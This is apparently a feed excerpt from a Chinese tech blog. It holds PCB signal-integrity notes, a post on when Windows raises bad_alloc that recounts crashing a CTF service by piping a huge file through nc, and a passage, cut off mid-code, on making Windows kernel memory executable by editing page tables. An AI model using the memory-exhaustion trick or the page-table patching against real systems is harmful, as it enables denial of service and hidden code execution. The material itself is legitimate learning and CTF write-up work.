id="6.4-%E5%A4%84%E7%90%86%E6%9C%89%E6%8D%9F%E4%BC%A0%E8%BE%93%E7%BA%BF" tabindex="-1">6.4 处理有损传输线</h3><p>趋肤效应和介电损耗效应都会导致高频谐波衰减，上升时间变慢。</p><p>对于有损传输线，模型如下：</p><p><img src="//pic.tyatt.top/PCB-SI/image%2025.png" alt="image.png"></p><p>这使得传输线的阻抗变成了一个复数。相移不再是 0，阻抗值会随频率变化。因此不会有单一的元件可以匹配这种传输线。</p><p>解决办法是均衡（补偿）：把高低频谐波重新平衡成它们本来应有的样子。</p><ul><li>主动（有源）补偿：放大被衰减的高频谐波；</li><li>被动（无源）补偿：衰减那些没有经历那么多衰减的低频谐波。</li></ul><p>在：</p><ul><li>前端：预补偿；</li><li>末端：后补偿。</li></ul><p>有源的方案很多，比如在信号第一次变化时为其提供额外增益，若在下一个时刻信号未变化，则减小一级增益。</p><p>无源方案的示例：在信号线上串联一个“并联 RC 高通滤波器”，低频走电阻被衰减，高频走电容直接通过。这有代价：信号整体的电平都变低了。</p><h2 id="%E4%B8%83%E3%80%81%E5%A4%84%E7%90%86%E7%89%B9%E5%88%AB%E7%9F%AD%E7%9A%84%E5%BE%AE%E6%B3%A2%EF%BC%88%E7%94%9A%E8%87%B3%E7%9F%AD%E8%BF%87%E8%BF%87%E5%AD%94%EF%BC%89" tabindex="-1">七、处理特别短的微波（甚至短过过孔）</h2><p>问题：非均匀环境：</p><ul><li>时序；</li><li>阻抗控制。</li></ul><p>过孔：</p><ul><li>焊盘 / 过孔的寄生电感；</li><li>过孔自身的阻抗控制；</li><li>过孔内部的短截线和破坏性反射。</li></ul><hr><p>在 2014 年，1-6 中的内容，除去阻抗布线的规则以外，大多都是受业界广泛认可的。但本节内容尚未在行业中建立起被普遍接受的指导方针。</p><hr><h3 id="7.1-%E9%9D%9E%E5%9D%87%E5%8C%80%E7%8E%AF%E5%A2%83" tabindex="-1">7.1 非均匀环境</h3><p>还是反复出现的玻璃纤维 - 树脂编织带模型。位于玻纤或玻纤树脂混合环境的走线的环境，特别是相对介电系数，不能再被认为是相同的。</p><p>一种解决方案是使用编制更紧密的材料。</p><h3 id="7.2-%E8%BF%87%E5%AD%94%E7%94%B5%E6%84%9F" tabindex="-1">7.2 过孔电感</h3><p>在 5.1 中，已经讨论过，电感会引发地弹。如果一个信号从过孔来，经过贴片元件，回到过孔中去，那么最好的做法就盘中孔，最差的做法是在离焊盘很远的地方打过孔，通过走线将过孔与焊盘连接。在焊盘边缘、元件未实际覆盖的地方均匀打多个过孔（比如上、左、右各一个）是更好的选择。</p><p>过孔倾向于表现容性，因此它们的阻抗通常会低于走线。解决方法：</p><ul><li>减小寄生电容，以增加其阻抗；</li><li>让过孔对于 PCB 其他部分更“透明”。参见 Eric Bogatin, “The 6 Habits of Transparent Via Design” PCD&amp;F, May, 2011</li></ul><p>“透明”：</p><ul><li>去除所有非功能性焊盘；</li><li>最小化所有捕获焊盘的尺寸；</li><li>钻孔时，使用尽可能窄的过孔；</li><li>使用一个带有至少 5mil 环形空间（annulus）的清除孔（clearance hole）。</li></ul><h3 id="7.3-%E7%9F%AD%E6%88%AA%E7%BA%BF%E4%B8%8E%E7%A0%B4%E5%9D%8F%E6%80%A7%E5%8F%8D%E5%B0%84" tabindex="-1">7.3 短截线与破坏性反射</h3><p>一般来说，过孔内铜是贯穿的。如果一个表层信号要去到内 1 层，那么从内 1 层到底层部分的过孔覆铜就是一个短截线（残桩），这是一个 Y 形结构。部分信号会进入这个短截线，然后反射回来。更极端的，如果残桩长度正好是半波长，那么在分叉点，反射信号会完全抵消掉正常信号，内层将不再有信号。</p><p>解决方法是用背钻，钻掉残桩部分的铜。</p><p>受 2.3 的启发，另一种解决方法是：以 BGA 举例，信号层先下到底层，再重回顶层焊盘。不过我们仍需处理端接。因此可以从顶层焊盘再次回到底层，进一步的，再次绕回顶层的 BGA 范围外的空闲区域，最终在顶层端接。</p><p><img src="//pic.tyatt.top/PCB-SI/image%2026.png" alt="image.png"></p><p>如果一个信号要连到两个 BGA 焊盘时，仍可采用上面的方案。宗旨就是不要有 Y 型走线。信号先进入焊盘 1，再出来，再进入焊盘 2。而不要是从进入焊盘 2 的走线上分出一个分叉，进入焊盘 1。</p><hr><p>传统方法仍有用，但需要加倍小心处理。</p><p>嵌入式无源元件，比如嵌入式电阻，在端接时可能会很有用。</p><h2 id="%E5%85%AB%E3%80%81%E6%8E%A7%E5%88%B6%E8%B5%B0%E7%BA%BF%E6%B8%A9%E5%BA%A6" tabindex="-1">八、控制走线温度</h2><p>控制走线温度有两类：</p><ul><li>稳态温度控制；</li><li>浪涌电流控制（在走线熔断前，短时间内能通过多大电流）。</li></ul><h3 id="8.1-%E9%92%88%E5%AF%B9%E6%B8%A9%E5%BA%A6%E8%AE%BE%E8%AE%A1%E8%B5%B0%E7%BA%BF" tabindex="-1">8.1 针对温度设计走线</h3><p>由电阻的决定式，走线电阻与横截面面积 A 成反比。温度变化ΔT 与 <eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>i</mi><mn>2</mn></msup><mo>∗</mo><mi>R</mi><mo>=</mo><msup><mi>i</mi><mn>2</mn></msup><mi mathvariant="normal">/</mi><mi>A</mi></mrow><annotation encoding="application/x-tex">i^2*R=i^2/A</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord">/</span><span class="mord mathnormal">A</span></span></span></span></eq> 成正比，因此，<eq><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo>≈</mo><msqrt><mrow><mi mathvariant="normal">Δ</mi><mi>T</mi><mo>∗</mo><mi>A</mi></mrow></msqrt></mrow><annotation encoding="application/x-tex">i \approx \sqrt{\Delta T*A}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.04em;vertical-align:-0.1133em;"></span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9267em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord">Δ</span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">A</span></span></span><span style="top:-2.8867em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist"style="height:0.1133em;"><span></span></span></span></span></span></span></span></span></eq>。</p><p>用 IPC 图标可以快速得到线宽和温度的关系。对比原始 IPC，（2014 年时的）新标准 IPC-2152 更有参考价值，更保守。</p><p>对于过孔，n 个 d 为直径的过孔和一个直径为 n*d 的过孔的效果实际上是一样的。</p><p>对于涂层：</p><ul><li>保型涂层会降低散热效率，使温度偏高；</li><li>焊料的电阻率通常远高于铜，因此焊料涂层对载流能力的影响微乎其微。</li></ul><hr><p>作者根据少量的现有数据，建模并拟合出了一些电流和温度变化间多项式形态的公式。UltraCAD 的计算器里也有这个。</p><h3 id="8.2-%E9%92%88%E5%AF%B9%E7%86%94%E6%96%AD%E8%AE%BE%E8%AE%A1%E8%B5%B0%E7%BA%BF" tabindex="-1">8.2 针对熔断设计走线</h3><p>示例背景：在灾难性的 20A 电流场景中，系统需要 1.5 秒的关闭时间，需要多宽的走线？</p><p>有两个公式：</p><ul><li>W. H. Preece, 皇家学会会刊第 36 期第 464 页，1884 年发表；</li><li>I. M. Onderdonk, Standard Handbook for Electrical Engineers, 12 Ed. McGraw Hill, p. 4-74。</li></ul><p>Preece:</p><section><eqn><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>i</mi><mo>=</mo><mi>k</mi><mo>∗</mo><msup><mi>d</mi><mrow><mn>3</mn><mi mathvariant="normal">/</mi><mn>2</mn></mrow></msup></mrow><annotation encoding="application/x-tex">i=k*d^{3/2}  </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.938em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.938em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">3/2</span></span></span></span></span></span></span></span></span></span></span></span></span></eqn></section><p>i = 电流，安培；d= 线宽, 英寸；k 对铜来说是 10244。</p><p>Onderdonk 的简化形式：</p><section><eqn><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>i</mi><mo>=</mo><mfrac><mrow><mn>0.188</mn><mo>∗</mo><mi>A</mi></mrow><msqrt><mi>T</mi></msqrt></mfrac></mrow><annotation encoding="application/x-tex">i=\frac{0.188*A}{\sqrt{T}}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.2903em;vertical-align:-0.93em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.1833em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9267em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal" style="margin-right:0.13889em;">T</span></span></span><span style="top:-2.8867em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist"style="height:0.1133em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut"style="height:3em;"></span><span class="frac-line"style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut"style="height:3em;"></span><span class="mord"><span class="mord">0.188</span><span class="mspace"style="margin-right:0.2222em;"></span><span class="mbin">∗</span><span class="mspace"style="margin-right:0.2222em;"></span><span class="mord mathnormal">A</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist"style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></eqn></section><p>i = 电流，安培；A= 线截面面积，平方 mil；T= 时间，秒。</p><p>但，这些公式并非为 PCB 研发的。考虑到其历史，必须谨慎使用。没有已知的实验验证过这些公式。</p><p>如果走线已经熔断过，应认为其不再可靠，废弃。</p><h2 id="%E4%B9%9D%E3%80%81%E6%80%BB%E7%BB%93" tabindex="-1">九、总结</h2><p>回顾部分还是直接看视频吧。</p><hr><p>为什么要遵循从这里学来的设计规则，其他地方的教学有冲突：</p><ul><li>确实会存在分歧（比如差分布线）；</li><li>语境；</li><li>有人确实错了；</li><li>资源问题。</li></ul><hr><p>PCB 还会存在吗？随着芯片集成度越来越高，总有人认为芯片会取代 PCB。作者认为，关键不在于 PCB 上有多少元件，而在于系统内有多少 PCB。作者的老旧电视里有 6 块 PCB，当时人们只看电视。现在，PC 里可能也有 6 块 PCB，但我们还有显示器、机顶盒、音响、路由器……</p><link rel="stylesheet" href="//cdn.jsdelivr.net/npm/katex/dist/katex.min.css"><link rel="stylesheet" href="//cdn.jsdelivr.net/npm/markdown-it-texmath/css/texmath.min.css">]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV1xL8RzdEBX/&quot;&gt;https://www.bilibili.com/video/BV1xL8RzdEBX/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.oreilly.com/videos/pcb-signal-integrity/9780133548563/&quot;&gt;https://www.oreilly.com/videos/pcb-signal-integrity/9780133548563/&lt;/a&gt;&lt;/p&gt;</summary>
    
    
    
    <category term="hardware" scheme="https://tyatt.top/categories/hardware/"/>
    
    
    <category term="PCB" scheme="https://tyatt.top/tags/PCB/"/>
    
  </entry>
  
  <entry>
    <title>浅析 Windows 内存分配——何时发生 bad_alloc 异常？</title>
    <link href="https://tyatt.top/2025/10/03/bad-alloc-on-windows/"/>
    <id>https://tyatt.top/2025/10/03/bad-alloc-on-windows/</id>
    <published>2025-10-03T14:33:00.000Z</published>
    <updated>2025-10-03T16:12:28.042Z</updated>
    
    <content type="html"><![CDATA[<p><code>new</code>的背后。</p><span id="more"></span><p>一次 CTF 校赛，遇到一个类似以下逻辑的代码，目的是要使程序退出。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">   <span class="keyword">try</span> &#123;</span><br><span class="line">    string name;</span><br><span class="line">    cin &gt;&gt; name;</span><br><span class="line">    </span><br><span class="line">    ...(一个循环不会退出）</span><br><span class="line">    </span><br><span class="line">   &#125; <span class="built_in">catch</span> (<span class="type">const</span> exception&amp; e) &#123;</span><br><span class="line">    <span class="comment">// cerr &lt;&lt; &quot;Error: &quot; &lt;&lt; e.what() &lt;&lt; endl;</span></span><br><span class="line">    cout &lt;&lt; <span class="string">&quot;Error: &quot;</span> &lt;&lt; e.<span class="built_in">what</span>() &lt;&lt; endl;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>于是想到了 <code>std::string</code> 内部会进行内存分配，于是又想到了关于内存分配有一个异常 <code>std::bad_alloc</code>，因此立刻生成了一个巨大的二进制文件，<code>cat test.bin | nc ...</code> 打向服务器。略去细节问题，总之最终成功使程序退出并获得 flag。</p><p>但赛后运维校赛的学长对此进行了 <a href="https://showlinkroom.me/2025/03/30/%E4%B8%80%E6%AC%A1%E6%AF%94%E8%B5%9B%E5%87%BA%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84docker%E5%AD%A6%E4%B9%A0/"> 研究</a>，发现事情没有我想象的那么简单：实际上是程序在读取输入的过程中，分配了大于实际可用物理内存的虚拟内存，而导致的<code>OOM Killer</code>。程序是被 docker 杀的。</p><p>查询资料易得 Linux 环境，malloc/new 在申请内存时，linux 内核会给予申请大小的虚拟内存地址范围，但并没有保证这些地址一定可用。当程序真的使用了过量的内存时，linux 会用 OOM 机制杀死某个进程。docker 环境里除了题目本身就没什么其他进程，因此杀掉的就是题目进程了。</p><hr><p>那么 Windows 环境又如何呢？先来看一些基础知识。</p><p>Windows 用户态分配内存主要由两个系列函数组成：<code>VirtualAlloc</code>与 <code>HeapCreate</code>、<code>HeapAlloc</code>。前者直接向内核请求内存，可自定义的选项更多；后者在用户态实现了堆的概念，会先在堆内尝试分配内存，当请求的内存大小大于 16KB（NT 堆）或 508KB（段堆）时，将请求交由堆后端 / 内核处理，也就是<code>VirtualAlloc</code> 这一串的 api。</p><p>Windows 进程虚拟地址空间中的页面有四类：free（空闲的）、reserved（保留的）、committed（提交的）和 shareable（可共享的）<a href="#footer_1">¹</a>。提交的页面又叫做私有页面（private page），也就是实际分配的、可使用的、在使用时最终会指向物理内存中有效页面的内存。而访问 free 和 reserved 的内存 <strong> 均</strong>会触发访问冲突异常。</p><p><code>VirtualAlloc</code>在分配内存时可选择分配的类型，这里主要关注 <code>MEM_COMMIT</code> 和<code>MEM_RESERVE</code>。</p><p>当分配类型中包含 <code>MEM_RESERVE</code> 时，内核会“保留进程的虚拟地址空间范围，而不在内存或磁盘上的分页文件中分配任何实际物理存储”，也就是说此时再通过 <code>VirtualAlloc</code> 分配其他内存时，不会占用已保留的空间，但由于没有实际进行内存分配，因此对系统资源的占用更少。只有再次对同一地址进行分配类型包含 <code>MEM_COMMIT</code> 的<code>VirtualAlloc</code>调用时，程序才能实际使用这片内存。当使用 <code>MEM_COMMIT</code> 分配内存时，除非分配失败即返回 0，内核保证至少返回分配大小的可用的内存。</p><p><code>VirtualAlloc</code>的实现是对 <code>NtAllocateVirtualMemory</code> 做了简单包装，<code>HeapAlloc</code>则是直接链接到了 ntdll.dll 里的<code>RtlAllocateHeap</code>。</p><p>实践一下，我使用以下程序做测试，输入是 999999999999：</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;iostream&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;new&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    std::<span class="type">size_t</span> n;</span><br><span class="line">    std::cout &lt;&lt; <span class="string">&quot; 请输入要分配的字节数: &quot;</span>;</span><br><span class="line">    <span class="keyword">if</span> (!(std::cin &gt;&gt; n)) </span><br><span class="line">    &#123;</span><br><span class="line">        std::cerr &lt;&lt; <span class="string">&quot; 输入无效 &quot;</span> &lt;&lt; std::endl;</span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span> </span><br><span class="line">    &#123;</span><br><span class="line">        <span class="type">char</span>* p = <span class="keyword">new</span> <span class="type">char</span>[n];  </span><br><span class="line"></span><br><span class="line">        std::cout &lt;&lt; <span class="string">&quot; 成功分配了 &quot;</span> &lt;&lt; n &lt;&lt; <span class="string">&quot; 字节的内存。&quot;</span> &lt;&lt; std::endl;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">delete</span>[] p;</span><br><span class="line">    &#125; </span><br><span class="line">    <span class="built_in">catch</span> (<span class="type">const</span> std::bad_alloc&amp; e) </span><br><span class="line">    &#123;</span><br><span class="line">        std::cerr &lt;&lt; <span class="string">&quot; 内存分配失败: &quot;</span> &lt;&lt; e.<span class="built_in">what</span>() &lt;&lt; std::endl;</span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可发现 msvcrt/ucrt 对 <code>new</code> 的实现是简单调用 <code>malloc</code>，而<code>malloc</code> 又只是简单的对 <code>HeadAlloc</code> 的包装。经过动态调试发现在当前输入下，堆管理器会直接通过 <code>ZwAllocateVirtualMemory</code> 向内核申请内存，分配类型为 0x1000 即 <code>MEM_COMMIT</code>。（<code>Nt</code> 系列 api 与 <code>Zw</code> 系列 api 有一些细微的差别参见 <a href="https://learn.microsoft.com/zh-cn/windows-hardware/drivers/kernel/using-nt-and-zw-versions-of-the-native-system-services-routines"> 微软的文档</a>，但在用户态下，二者一般无区别。）</p><p>回看 ucrt 中对 <code>new</code> 的实现，其内部检测到 malloc 的返回值为 0 时直接进入 C++ 的 <code>std::new_handler</code> 与<code>std::bad_alloc</code>流程，在无 new_handler 时抛出 <code>std::bad_alloc</code> 异常。</p><p>因此，在 Windows 用户态下，<code>new</code> 一旦成功、未抛异常，则返回的内存几乎总是可立即安全使用，不会出现 Linux 下分配成功但写入时被 OOM 杀死的情况。</p><p>也在 Ubuntu 22.04 测试了上面的程序。即使输入 <code>18446744073709551615</code>，程序也会输出<code> 成功分配了 18446744073709551615 字节的内存。</code>。</p><hr><p><a id="footer_1">[¹]</a>: 四分法来自《Windows Internal》，但 API 层面并没有一个与 reserved 和 committed 并列的 shareable。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;code&gt;new&lt;/code&gt;的背后。&lt;/p&gt;</summary>
    
    
    
    <category term="DEV" scheme="https://tyatt.top/categories/DEV/"/>
    
    
    <category term="C" scheme="https://tyatt.top/tags/C/"/>
    
    <category term="Win32" scheme="https://tyatt.top/tags/Win32/"/>
    
    <category term="C++" scheme="https://tyatt.top/tags/C/"/>
    
  </entry>
  
  <entry>
    <title>在 Windows 上分配一块分页地址与物理地址相同且可读可写可执行的内存</title>
    <link href="https://tyatt.top/2025/06/13/alloc-special-mem-on-win-kernel/"/>
    <id>https://tyatt.top/2025/06/13/alloc-special-mem-on-win-kernel/</id>
    <published>2025-06-13T06:26:00.000Z</published>
    <updated>2025-09-27T16:12:57.693Z</updated>
    
    <content type="html"><![CDATA[<p>有预感某个项目或许会失败，所以先把可能有价值的这部分记录一下。</p><span id="more"></span><p>* 代码是去年暑假写的。记忆力有限，我尽量保证这篇文章是准确的。</p><p><strong>过程中涉及一些在 MSDN 中描述为禁止 / 不推荐的行为。在 Windows 10 1903 上测试通过。</strong></p><p>整体分三步：</p><ol><li>分配连续内存</li><li>映射到与物理地址相同的虚拟地址</li><li>添加可执行权限</li></ol><hr><h3 id="分配连续内存"><a href="# 分配连续内存" class="headerlink" title="分配连续内存"></a>分配连续内存 </h3><p>Windows 提供了<code>MmAllocateContiguousMemorySpecifyCache</code> 用于分配一块物理地址连续的内存。此函数的第二个和第三个参数限定了分配内存物理地址的范围。‘</p><p>最后一个参数控制内存的缓存类型，我使用了<code>MmNonCached</code>。</p><p>配套的释放函数是<code>MmFreeContiguousMemory</code>。</p><hr><h3 id="映射到与物理地址相同的虚拟地址"><a href="# 映射到与物理地址相同的虚拟地址" class="headerlink" title="映射到与物理地址相同的虚拟地址"></a>映射到与物理地址相同的虚拟地址 </h3><p> 使用 <code>IoAllocateMdl</code> 创建这块内存的<code>MDL</code>，并用<code>MmProbeAndLockPages</code>（记得做异常处理）锁住它。</p><p>使用 <code>MmBuildMdlForNonPagedPool</code> 将刚刚创建好的描述虚拟页的 <code>MDL</code> 转换为描述对应的物理页。</p><p>使用 <code>MmGetPhysicalAddress</code> 获取刚刚分配好的内存的物理地址。</p><p>使用 <code>MmMapLockedPagesSpecifyCache</code> 通过 <code>MDL</code> 为分配好的内存对应的物理页创建自定义虚拟地址。第四个参数为自定义的虚拟地址，这里填写刚刚获取到的物理地址。</p><p>MSDN 将第四个参数描述为仅当第二个参数（即内存的访问模式）为 <code>UserMode</code> 时才生效，因此我们将内存的访问模式设为<code>UserMode</code>。这会导致通过与物理地址相同的分页地址访问这块内存时缺少可执行权限。</p><p>使用 <code>IoAllocateMdl</code> 对与物理地址相同的虚拟地址创建 <code>MDL</code>，并用<code>MmProbeAndLockPages</code> 锁住它。</p><hr><h3 id="添加可执行权限"><a href="# 添加可执行权限" class="headerlink" title="添加可执行权限"></a>添加可执行权限 </h3><p> 我并未找到 Windows 提供的可用于给内存增加可执行权限的函数，因此这里通过直接修改页表来实现。</p><p>MSVC 编译器并未提供 x86_64 下的内联汇编功能，因此这里使用 <code>intrin.h</code> 头文件里的 <del>编译器打洞</del> 函数实现。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">UINT64 pml4Base = __readcr3() &amp; <span class="number">0xF&#x27;FFFF&#x27;FFFF&#x27;F000</span>;         <span class="comment">//bit 12 ~ 51</span></span><br><span class="line"></span><br><span class="line">UINT64 pml4Index = ((ULONG64)unrealNextProg &gt;&gt; <span class="number">39</span>) &amp; <span class="number">0x1FF</span>;</span><br><span class="line">UINT64 pdpIndex = ((ULONG64)unrealNextProg &gt;&gt; <span class="number">30</span>) &amp; <span class="number">0x1FF</span>;</span><br><span class="line">UINT64 pdIndex = ((ULONG64)unrealNextProg &gt;&gt; <span class="number">21</span>) &amp; <span class="number">0x1FF</span>;</span><br><span class="line">UINT64 ptIndex = ((ULONG64)unrealNextProg &gt;&gt; <span class="number">12</span>) &amp; <span class="number">0x1FF</span>;</span><br><span class="line"></span><br><span class="line">UINT64* pml4Entry = (UINT64*)(pml4Base + pml4Index * <span class="keyword">sizeof</span>(UINT64));</span><br><span class="line"><span class="comment">//if (!(*pml4Entry &amp; 1)) return STATUS_UNSUCCESSFUL;</span></span><br><span class="line"></span><br><span class="line">UINT64 pdpBase = <span class="number">0</span>;</span><br><span class="line">ReadPhysicalAddress(pml4Entry, &amp;pdpBase, <span class="keyword">sizeof</span>(UINT64));</span><br><span class="line">UINT64 PML4 = 